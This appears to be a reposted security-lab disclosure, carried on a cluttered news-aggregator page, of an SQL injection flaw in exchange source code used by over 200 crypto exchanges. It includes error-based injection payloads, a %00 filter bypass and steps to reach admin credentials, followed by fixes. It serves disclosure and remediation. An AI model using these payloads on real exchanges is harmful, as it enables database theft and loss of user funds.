古交首页 政务 社会 纵横 关注 文明 出行 曝光 理财 房产  
高清图片 民生 文化 体育 经济 财富 健康 消费  
首页>> 消费 >>正文
Helm实验室披露:超过200家交易所使用了这套问题代码
2020-03-22 17:31:56  来源:人民网 
Helm实验室披露:超过200家交易所使用了这套问题代码

近日,HELM区块链安全实验室在GitHub上发现了一套众多交易所可能正在使用的通用源码,经过分析发现其中存在大量的通用0day漏洞。据我们初步统计,使用此代码的交易所超过200家,目前仍存在该漏洞的交易所超过40家。

image.png

在与开发商联系过后,得知其发布的演示站是升级过的第二个版本,而新版本虽然已经对该0day进行不完全修复,仍然可以被绕过。为了保证相关交易所的资金安全,HELM区块链安全实验室对此漏洞以及黑客的攻击手法进行分析披露,并提供修复方式,希望各大交易所尽快修复漏洞以防患于未然。

这里我们选择其中一枚高危漏洞(SQL注入类型)进行披露,该漏洞可简单绕过防护,可通过报错注入获取数据库信息,从而获得后台管理权限;黑客通过操纵用户资金交易,可导致交易所资金遭受严重威胁。此注入点存在于行情页面中的请求连接(下图红框),请各个使用此页面类似功能的交易所自查。

image.png


通过payload:/Chart/*****?market=' and updatexml(1,concat('~\\',user(),'~\\'),1) -- a获取到数据库连接。

image.png

用户名:li****

连接地址:localhost

image.png

在执行获取表名payload:

/Chart/****?market='and updatexml(1,concat('~\\',(select count(*) from information_schema.tables where table_schema=database()),'~\\'),1) -- a

被拦截。

image.png

只需加%00绕过即可,payload:

/Chart/***?market=' and updatexml(1,concat('~\\',(se%00lect cou%00nt(*) f%00rom informat%00ion_schema.tables wh%00ere table_schema=database()),'~\\'),1)-- a

用burpsuite获取到表名

image.png

获取qqbtc_admin字段即可获取管理员账号密码:

账号:****cc

密码:****520

通过分析源代码,APP_DEBUG为TRUE,导致data为NULL,market参数未进行任何过滤,直接带入数据库中执行查询命令。

image.png

访问 admin admin.php admin/login 等.... 获取到后台地址

管理员地址:image.png

image.png

image.png

HELM区块链安全实验室通过对新版本跟进发现,许多交易所虽已对该漏洞进行修复,但仍然存在绕过的可能。

image.png

对此,HELM区块链安全实验室根据提出如下建议:

1、对market参数进行过滤。

2、各交易所自查github仓库,如若泄露,删除GitHub上的源代码。

3、慎用第三方开发商的源码,如若外包应当定制化,避免使用二此开发的源码,以免友商使用类似源码被攻击收到影响。

下列交易平台都是受到该漏洞影响的,建议尽快修复

V1版本

image.png

我们致力于促进建立良好的区块链安全生态,本次披露无意影响各个交易所的业务,我们建议涉及到的各大交易所进行自检,以避免平台与用户损失。我们将坚决协助监管单位打击假交易所,和具有违规行为的交易所,对各个维护数字货币交易秩序的交易所给予支持。


相关阅读:
国家外汇网 http://www.dnsdpz172.fit
作者:admin
Helm实验室披露:超过200家交易所使用了这套问题代码
【健康送】孩子矮小长不高是种病,良辰时机要抓住!2月...
济南首晒全市维修资金家底 八成用于修电梯
龙源电力盈利占母公司国电集团半壁江山
河南:小麦质量好农民售粮积极性高
1
 
童心向党
格罗斯:全球经济模式会有所改变
我为土地系统增光辉(土管系统)
中学校运会主持词
子宫后位受孕过程是怎样的
 
1
1
家长主持人串词
重庆港九土地7.8亿元被收储
爱路护路作文
放屁酸臭是什么原因
李雪健获“最佳男配角”奖:会好好爱护这匹...
保定一名小学体育老师涉嫌猥亵6岁女童被逮捕
1  
1
1
Helm实验室披露:超过200家交易所使用了这套问题代码
龙源电力盈利占母公司国电集团半壁江山
区三合一场所火灾隐患排查整治专项行动方案
贾跃亭股票爆仓怎么回事 西部证券计提4.39亿元坏账
高中体育教师工作计划精选范文
家长主持人串词
适合上班族的冬季养生法,让食疗养生顺应天时
陈建志:移动互联网与地产结合将更紧密 市场会更健康
校园迎五四节
格罗斯:全球经济模式会有所改变
Copyright © 2003-2014 rsosc.cn All rights reserved. 枝江日报社主办 枝江新闻网版权